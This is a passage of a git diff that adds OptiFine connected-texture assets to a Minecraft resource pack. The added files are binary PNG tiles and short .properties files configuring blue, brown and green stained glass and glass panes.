b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/27.png new file mode 100644 index 00000000..2e816754 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/28.png new file mode 100644 index 00000000..95efd6af Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/29.png new file mode 100644 index 00000000..8052ce7e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/3.png new file mode 100644 index 00000000..274c3d46 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/30.png new file mode 100644 index 00000000..b0226391 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/31.png new file mode 100644 index 00000000..9a6bf545 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/32.png new file mode 100644 index 00000000..ad63f29b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/33.png new file mode 100644 index 00000000..efb34d82 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/34.png new file mode 100644 index 00000000..d6a19d5f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/35.png new file mode 100644 index 00000000..a6cf4c95 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/36.png new file mode 100644 index 00000000..3fcc4b5e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/37.png new file mode 100644 index 00000000..8f7ee1dd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/38.png new file mode 100644 index 00000000..6383a5ee Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/39.png new file mode 100644 index 00000000..5bbff6ed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/4.png new file mode 100644 index 00000000..c0a62e17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/40.png new file mode 100644 index 00000000..cc9ba7ec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/41.png new file mode 100644 index 00000000..77525994 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/42.png new file mode 100644 index 00000000..fe348011 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/43.png new file mode 100644 index 00000000..cb2fce7a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/44.png new file mode 100644 index 00000000..7e6c682e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/45.png new file mode 100644 index 00000000..3d261ad2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/46.png new file mode 100644 index 00000000..17de9bcf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/5.png new file mode 100644 index 00000000..38820075 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/6.png new file mode 100644 index 00000000..66f6fc8a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/7.png new file mode 100644 index 00000000..70eaea59 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/8.png new file mode 100644 index 00000000..4c13eea1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/9.png new file mode 100644 index 00000000..16a4c834 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/glass_blue.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/glass_blue.properties new file mode 100644 index 00000000..9257c425 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/glass_blue.properties @@ -0,0 +1,5 @@ +# Stained glass blue +matchBlocks=blue_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/glass_pane_blue.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/glass_pane_blue.properties new file mode 100644 index 00000000..fbe462c2 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/11_glass_blue/glass_pane_blue.properties @@ -0,0 +1,6 @@ +# Stained glass pane blue +matchBlocks=blue_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/0.png new file mode 100644 index 00000000..259b61c6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/1.png new file mode 100644 index 00000000..2268ce66 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/10.png new file mode 100644 index 00000000..7ac2776f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/11.png new file mode 100644 index 00000000..6dcaeace Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/12.png new file mode 100644 index 00000000..d1d37415 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/13.png new file mode 100644 index 00000000..b94809b7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/14.png new file mode 100644 index 00000000..5459fac8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/15.png new file mode 100644 index 00000000..afb4bc82 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/16.png new file mode 100644 index 00000000..2f381e27 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/17.png new file mode 100644 index 00000000..abaa5cdd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/18.png new file mode 100644 index 00000000..666c8e9a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/19.png new file mode 100644 index 00000000..2447f128 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/2.png new file mode 100644 index 00000000..c07848c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/20.png new file mode 100644 index 00000000..b017b2ea Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/21.png new file mode 100644 index 00000000..acaaf58d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/22.png new file mode 100644 index 00000000..70ec7727 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/23.png new file mode 100644 index 00000000..c5e69d1c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/24.png new file mode 100644 index 00000000..e175b989 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/25.png new file mode 100644 index 00000000..799c6a10 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/26.png new file mode 100644 index 00000000..ff9667fc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/27.png new file mode 100644 index 00000000..f8909407 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/28.png new file mode 100644 index 00000000..26d3a7ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/29.png new file mode 100644 index 00000000..5e2cd71c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/3.png new file mode 100644 index 00000000..b7f2e56a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/30.png new file mode 100644 index 00000000..ee987d8f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/31.png new file mode 100644 index 00000000..940b86cc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/32.png new file mode 100644 index 00000000..46108509 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/33.png new file mode 100644 index 00000000..e87f9cb1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/34.png new file mode 100644 index 00000000..a0073198 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/35.png new file mode 100644 index 00000000..62a6c950 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/36.png new file mode 100644 index 00000000..3003b361 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/37.png new file mode 100644 index 00000000..0c87b12b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/38.png new file mode 100644 index 00000000..bff4e7a7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/39.png new file mode 100644 index 00000000..85f2aba6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/4.png new file mode 100644 index 00000000..167feabc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/40.png new file mode 100644 index 00000000..1422a56e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/41.png new file mode 100644 index 00000000..4a084131 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/42.png new file mode 100644 index 00000000..43bcdb8e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/43.png new file mode 100644 index 00000000..21487fe0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/44.png new file mode 100644 index 00000000..aaece811 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/45.png new file mode 100644 index 00000000..d4ba78de Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/46.png new file mode 100644 index 00000000..746ae6a3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/5.png new file mode 100644 index 00000000..363d09b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/6.png new file mode 100644 index 00000000..ac145b84 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/7.png new file mode 100644 index 00000000..b9ad6b65 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/8.png new file mode 100644 index 00000000..f9febbcf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/9.png new file mode 100644 index 00000000..1a002863 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/glass_brown.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/glass_brown.properties new file mode 100644 index 00000000..41188407 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/glass_brown.properties @@ -0,0 +1,5 @@ +# Stained glass brown +matchBlocks=brown_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/glass_pane_brown.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/glass_pane_brown.properties new file mode 100644 index 00000000..2cc2b5c0 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/12_glass_brown/glass_pane_brown.properties @@ -0,0 +1,6 @@ +# Stained glass pane brown +matchBlocks=brown_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/0.png new file mode 100644 index 00000000..7c1f4e60 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/1.png new file mode 100644 index 00000000..2040368e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/10.png new file mode 100644 index 00000000..3c9fdef0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/11.png new file mode 100644 index 00000000..4bfcc6d9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/12.png new file mode 100644 index 00000000..edc28eb8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/13.png new file mode 100644 index 00000000..3b29a9e7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/14.png new file mode 100644 index 00000000..f9513cb9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/15.png new file mode 100644 index 00000000..83d1cd4a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/16.png new file mode 100644 index 00000000..f5d223a9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/17.png new file mode 100644 index 00000000..001eba06 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/18.png new file mode 100644 index 00000000..b1e82746 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/19.png new file mode 100644 index 00000000..a4d6cc31 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/2.png new file mode 100644 index 00000000..62f1d66d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/20.png new file mode 100644 index 00000000..d4708573 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/21.png new file mode 100644 index 00000000..1c52d05c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/22.png new file mode 100644 index 00000000..e1a22b64 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/23.png new file mode 100644 index 00000000..92eddbc3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/13_glass_green/24.png 